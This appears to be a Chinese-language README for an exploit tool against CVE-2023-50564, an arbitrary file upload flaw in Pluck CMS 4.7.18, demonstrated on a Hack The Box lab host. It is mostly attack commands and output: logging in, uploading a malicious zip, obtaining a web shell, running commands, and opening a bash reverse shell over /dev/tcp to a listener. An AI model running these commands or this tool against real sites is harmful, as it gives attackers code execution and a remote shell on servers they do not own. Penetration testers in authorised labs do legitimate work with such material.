CVE-2023-50564 是 Pluck CMS v4.7.18 中的一个 RCE 漏洞。该漏洞通过 /inc/modules_install.php 组件中的任意文件上传漏洞实现，允许通过上传恶意的 .zip 文件执行任意代码。
在运行利用程序之前，需要知道在 /login.php 上认证的密码。
对目标运行利用程序：
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
可以通过脚本提供的链接访问恶意的 .php 文件来执行命令。
可以选择使用 --cmd 标志指定要执行的命令。
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1 --cmd id
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
[+] Executing command 'id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
启动监听器，然后使用 --cmd 标志指定一个命令以在监听器上建立反向 shell 连接：
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1'"
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
[+] Executing command 'bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1''
并在监听器上获取连接：
$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.78.209] 38982
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck/data/modules/malicious$
安装依赖：
pip install -r requirements.txt
帮助：
$ python3 exploit.py --help
usage: exploit.py [-h] --target TARGET --password PASSWORD [--cmd CMD]
Exploit Pluck v4.7.18 RCE Vulnerability
options:
-h, --help show this help message and exit
--target TARGET Target URL (Example: http://greenhorn.htb)
--password PASSWORD Pluck password
--cmd CMD Command to execute
感谢 Mirabbas Ağalarov 发现此漏洞（链接）。